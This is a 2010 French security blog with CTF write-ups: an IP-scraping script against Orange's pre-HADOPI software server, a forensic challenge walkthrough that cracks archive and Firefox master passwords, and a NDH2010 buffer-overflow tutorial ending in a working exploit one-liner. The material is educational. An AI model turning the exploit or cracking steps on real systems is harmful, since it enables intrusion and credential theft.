lundi 26 juillet 2010

Orange HADOPI Hacking for dummies : useless scripts ;)

Bonsoir,

Bon rien de spécial aujourd'hui, juste retrouver pour vous des scripts inutiles que j'ai utilisés pour les IP dans l'analyse du soft pré-HADOPI d'Orange.

Le script utilisé pour farmer les IPs (je ne peux bien évidemment pas dévoiler la liste des IP) :
#!/bin/sh

while true;
    sleep 5;
    do wget -qO - http://195.146.235.67/status?XML=true | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> /tmp/out.tmp;
done

Le script python pour savoir d'où provenait les IP :
#!/usr/bin/python

import sys
import socket
#import pygeoip
import GeoIP # maxmind geoip

if len(sys.argv) < 2:
    print 'Usage : %s file' % sys.argv[0]
    exit(1)

# load file
fp = open(sys.argv[1], 'r')
content = fp.read()
fp.close()

ips = content.split ('\n')

# geolocate every ip
geoip = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE) #pygeoip.Database('GeoIP.dat')
locations = {}

for ip in ips:
    #locations[ip] = geoip.lookup(ip)
    locations[ip] = geoip.country_code_by_addr(ip)

for ip, location in locations.items():
    if location == None:
        location = 'noloc'
    print ip + ':' + location

Voilà,

Have phun ;)

dimanche 25 juillet 2010

RootBSD's Forensic 1

Hier nous avons eu droit à un challenge forensic proposé par RootBSD. C'était son premier challenge en tant qu'auteur :p. Le prix à gagner était mine de rien assez sympa : un tshirt GetDigital au choix ^^.
Le grand gagnant de ce challenge  est sh4ka.

Le principe était de trouver 10 flags :).

L'archive du challenge tout d'abord : RootBSD's challenge forensic 1 .

Après avoir décompressé l'archive on se retrouve avec 6 dossiers : .mozilla, Document, Download, Images, Musics, Private et 1 fichier : FS.dd.

En commençant par FS.dd on a trouvé 2 flags :
m101@m101 $ strings FS.dd | egrep "[0-9a-fA-F]{32}"
Joli : 2843062153121fed0558613602645f81

- Un peu de file carving :
m101@m101 $ scalpel -c /etc/scalpel/scalpel.conf
On trouve une image jpeg avec ce flag :
a84774bcf9e00b394d75e4367472e58e

Maintenant Documents/ :
m101@m101 $ strings World_of_Fractal.pdf | egrep "[0-9a-fA-F]{32}"
/ID[<7602e7851861cd4d7f20bfc78b7991d3><457df77bd980a6fd9607e57405f56152>]
/Author (f1809844eaa1ebe050bd4973a456b150)r 5.0 for Word)
/ID[<7602e7851861cd4d7f20bfc78b7991d3><457df77bd980a6fd9607e57405f56152>]
Après validation, seul le md5 pour Author est bon.

Dans le dossier Download/ on a un fichier .pcap, on l'ouvre sous WireShark et on voit un flux HTTP avec download d'une archive .rar.
Il suffit d'extraire le .rar concerné.
Pas de "chance", il est protégé par un mot de passe.
Etant sous Linux, j'essaie de péter l'archive avec rarcrack .... 50pw/sec, mouais trop lent à mon goût ...
Et si on essayait du password guessing?
Words tried : hack, hacking, hacker, forensic, security, secure, control, biere ... BINGO!
On extrait le fichier du .rar et hop un autre flag :
203ec6cfbff8288c0ebeec8ea1e70144.

Dans Images/ :
m101@m101 $ strings Images/fractale5.jpg | egrep "[a-fA-F0-9]{32}
"1dcd64e16d97507052d67a6d0557ee8d
Dans le reste des images, rien de particulier avec HexEdit et strings ....
Bon, y'a quoi dans les metadatas?
Bingo, on trouve quelque chose d'intéressant dans jpg_NDH080408ak.jpg.
m101@m101 $ exif -e jpg_NDH080408ak.jpg
Le flag : f2c7ec9225e9158deb7ca7aad0f3504b.
Ok dossier Images done :).


On passe au dossier Musics/ :
m101@m101 $ strings Musics/miel-de-vie.mp3
[...]
VW4gZGUgcGx1cyAzMzA2ZWMwOTdmYz
gzMDgxNzE4MTUxNmVhMjhkZWQzOA==
Oh ça ressemble à de la base 64 ça ... bingo :
3306ec097fc830817181516ea28ded38

Dossier Private/ :
On a un fichier texte priv.txt.
A première vu ça peut être du César, par guessing ça doit être quelque chose genre : Le flag est [flag].
Pour les feignasses, y'a des sites comme YellowPipe qui font le boulot pour vous ...
On regarde la table ASCII et on trouve un décalage de 19, on tente et bingo :
La flag est 55fe6c0f75c563099e3d332f5c64e690

m101@m101 $ cat Private/.facile
Pour commencer le plus facile : 8cd4525b78f0488581316bba7734e758

Bon on a fini?
Ah non j'oubliais le dossier .mozilla/.
Pour ça, on lance firefox de cette manière en console :
m101@m101 $ firefox -ProfileManager
On crée un nouveau profile (forensic par exemple).
On va dans le dossier correspondant dans notre home et on fout le profile de l'archive là :).
On trouve un lien dans l'historique : http://www.r00ted.com/forensics/flags.txt
Ok protégé par un .htaccess, voyons voir les mots de passes enregistrés. Oh le bougre protégé par mot de passe.
On bruteforce ça avec firemaster :] .
Bingo, on a le master password : hack.
Mot de passe enregistré : kevin:hKza62qCSTgq (bonne chance pour bruteforcer un mot de pass pareil ...).
Et encore un de plus :
4f88ae808c5cb93084bb4117b0452ca7


Voilà pour une petit challenge forensic somme tout assez sympa :).
Je tiens à remercier l'auteur du challenge RootBSD ainsi que d'autres participants : tryks, sh4ka, ZadyRee, shp et les autres si j'en oublie ;).

Have phun ;),

m_101

- lien : GetDigital
- lien : sh4ka
- lien : RootBSD's challenge forensic 1
- lien : StalkR's write-up
- lien : Tryks's write-up

vendredi 23 juillet 2010

Simple buffer overflow : NDH2010 Level 1

Une autre astuce qui peut s'avérer utile.

Ok vous pensiez réellement qu'on avait besoin de GDB pour own le level1?
Vous avez tout faux :]

Il s'avère que lorsque vous provoquez un segfault, cette information est retranscrite autre part.

level1@srv-public:~$ dmesg | grep level1
[???????????????] level1[????]: segfault at 37614136 ip 37614136 sp bffff804 error 4 

Eh oui, vous aurez remarquer qu'on a l'EIP et l'ESP sans avoir toucher à GDB ;).

Si vous avez des astuces du genre, faites tourner :].

Have phun,

m_101

Simple buffer overflow offset calculation : NDH2010 Level 1

Bonjour!

Sorry for English speakers, I will write only in French on this blog now unless you ask for English ;).

Aujourd'hui, je vais vous présenter brièvement une technique pour rapidement choper les offsets lors de l'exploitation de buffer overflows

Bon déjà je préviens pour ceux qui seraient tentés de prendre ça au premier degré :
- Non on a pas besoin de GDB mais je voulais faire les choses comme il fallait
- C'est juste pour illustrer une méthode de calcul d'offset rien d'autre


Les pré-requis

- Des connaissances minimales en stack frame.
- Des connaissances en assembleur (je n'expliquerais pas le code ASM, ce n'est pas le but)
- Metasploit

Let's go!

Il manque juste le programme vulnérable qu'on va casser :].
C'est le premier challenge du SSH public NDH 2010.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy()
{
        setresuid(geteuid(),geteuid(),geteuid());
        system("sleep 1; cat /home/level2/passwd;");
 exit(0);
}

int *p;
void func(char *arg)
{
        char buf[16];
        p = (int *)&buf[sizeof(buf)];

 printf("dummy() is at: 0x%08x\n", dummy);
        printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
        strcpy(buf, arg);
        printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
 
}
int main(int argc, char *argv[])
{
        if(!argv[1]) {
  printf("No command found...\n");
  return;
 }
        func(argv[1]);
}

Le code ASM correspondant :
Dump of assembler code for function dummy:
   0x08048504 <+0>: push   %ebp
   0x08048505 <+1>: mov    %esp,%ebp
   0x08048507 <+3>: push   %esi
   0x08048508 <+4>: push   %ebx
   0x08048509 <+5>: sub    $0xc,%esp
   0x0804850c <+8>: call   0x8048438 <geteuid@plt>
   0x08048511 <+13>: mov    %eax,%esi
   0x08048513 <+15>: call   0x8048438 <geteuid@plt>
   0x08048518 <+20>: mov    %eax,%ebx
   0x0804851a <+22>: call   0x8048438 <geteuid@plt>
   0x0804851f <+27>: mov    %esi,0x8(%esp)
   0x08048523 <+31>: mov    %ebx,0x4(%esp)
   0x08048527 <+35>: mov    %eax,(%esp)
   0x0804852a <+38>: call   0x80483e8 <setresuid@plt>
   0x0804852f <+43>: movl   $0x80486c0,(%esp)
   0x08048536 <+50>: call   0x80483c8 <system@plt>
   0x0804853b <+55>: movl   $0x0,(%esp)
   0x08048542 <+62>: call   0x8048428 <exit@plt>
End of assembler dump.

Dump of assembler code for function func:
   0x08048547 <+0>: push   %ebp
   0x08048548 <+1>: mov    %esp,%ebp
   0x0804854a <+3>: sub    $0x1c,%esp
   0x0804854d <+6>: lea    -0x10(%ebp),%eax        ; notre buffer est donc en %ebp-10
   0x08048550 <+9>: add    $0x10,%eax
   0x08048553 <+12>: mov    %eax,0x8049884      ; pointeur p
   0x08048558 <+17>: mov    $0x80486e2,%eax
   0x0804855d <+22>: movl   $0x8048504,0x4(%esp)
   0x08048565 <+30>: mov    %eax,(%esp)
   0x08048568 <+33>: call   0x8048408 <printf@plt>
   0x0804856d <+38>: mov    0x8049884,%eax
   0x08048572 <+43>: add    $0x4,%eax
   0x08048575 <+46>: mov    (%eax),%ecx
   0x08048577 <+48>: mov    0x8049884,%eax
   0x0804857c <+53>: mov    (%eax),%edx
   0x0804857e <+55>: mov    $0x80486fc,%eax
   0x08048583 <+60>: mov    %ecx,0x8(%esp)
   0x08048587 <+64>: mov    %edx,0x4(%esp)
   0x0804858b <+68>: mov    %eax,(%esp)
   0x0804858e <+71>: call   0x8048408 <printf@plt>
   0x08048593 <+76>: mov    0x8(%ebp),%eax
   0x08048596 <+79>: mov    %eax,0x4(%esp)
   0x0804859a <+83>: lea    -0x10(%ebp),%eax
   0x0804859d <+86>: mov    %eax,(%esp)
   0x080485a0 <+89>: call   0x80483f8 <strcpy@plt>
   0x080485a5 <+94>: mov    0x8049884,%eax
   0x080485aa <+99>: add    $0x4,%eax
   0x080485ad <+102>: mov    (%eax),%ecx
   0x080485af <+104>: mov    0x8049884,%eax
   0x080485b4 <+109>: mov    (%eax),%edx
   0x080485b6 <+111>: mov    $0x8048720,%eax
   0x080485bb <+116>: mov    %ecx,0x8(%esp)
   0x080485bf <+120>: mov    %edx,0x4(%esp)
   0x080485c3 <+124>: mov    %eax,(%esp)
   0x080485c6 <+127>: call   0x8048408 <printf@plt>
   0x080485cb <+132>: leave  
   0x080485cc <+133>: ret    
End of assembler dump.

Dump of assembler code for function main:
   0x080485cd <+0>: push   %ebp
   0x080485ce <+1>: mov    %esp,%ebp
   0x080485d0 <+3>: sub    $0x4,%esp
   0x080485d3 <+6>: mov    0xc(%ebp),%eax
   0x080485d6 <+9>: add    $0x4,%eax
   0x080485d9 <+12>: mov    (%eax),%eax
   0x080485db <+14>: test   %eax,%eax
   0x080485dd <+16>: jne    0x80485ed <main+32>
   0x080485df <+18>: movl   $0x8048742,(%esp)
   0x080485e6 <+25>: call   0x8048418 <puts@plt>
   0x080485eb <+30>: jmp    0x80485fd <main+48>
   0x080485ed <+32>: mov    0xc(%ebp),%eax
   0x080485f0 <+35>: add    $0x4,%eax
   0x080485f3 <+38>: mov    (%eax),%eax
   0x080485f5 <+40>: mov    %eax,(%esp)
   0x080485f8 <+43>: call   0x8048547 <func>
   0x080485fd <+48>: leave  
   0x080485fe <+49>: ret    
End of assembler dump.

La fonction qui va bien évidemment nous intéresser est func(). Celle-ci contient en effet le buffer overflow avec strcpy(). Celà va nous permettre de retourner dans dummy.

Bon déjà on sait que notre buffer est situé en %ebp-10.
Nous pouvons dès lors reconstruire notre stack frame (on utilise la convention cdecl ici) :
EBP
[arg : 4 octets] [ret : 4 octets] [sfp : 4 octets] [buffer : 16 octets]

Ok good donc théoriquement on a 20 octets avant de taper l'EIP comme il faut :).

On va vérifier ça avec notre pattern métasploit.

On va d'abord le créer.
sh $ msf/tools/pattern_create.rb 24
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7

On teste ça sous GDB.
level1@srv-public:~$ gdb ./level1
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
Starting program: /home/level1/level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
dummy() is at: 0x08048504
before:   SEBP=0xbffff7e8
   SEIP=0x080485fd
after:    SEBP=0x61413561
   SEIP=0x37614136

Program received signal SIGSEGV, Segmentation fault.
0x37614136 in ?? ()

Hop on cherche l'offset avec metasploit toujours.
sh $ msf/tools/pattern_offset 6Aa7
20

Pawning :).
./level1 `python -c 'print "JUNK" * 5 + "\x04\x85\x04\x08"'`
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
   SEIP=0x080485fd
after:    SEBP=0x4b4e554a
   SEIP=0x08048504
[password]

Et voilà comment en 5 minutes on peut pawn un soft simple ;).

Have phun.

m_101

- Une autre solution : Level 1 Wargame NDH - Tuto shellcode
- Le wargame NDH : Wargame NDH2010
- metasploit : Metasploit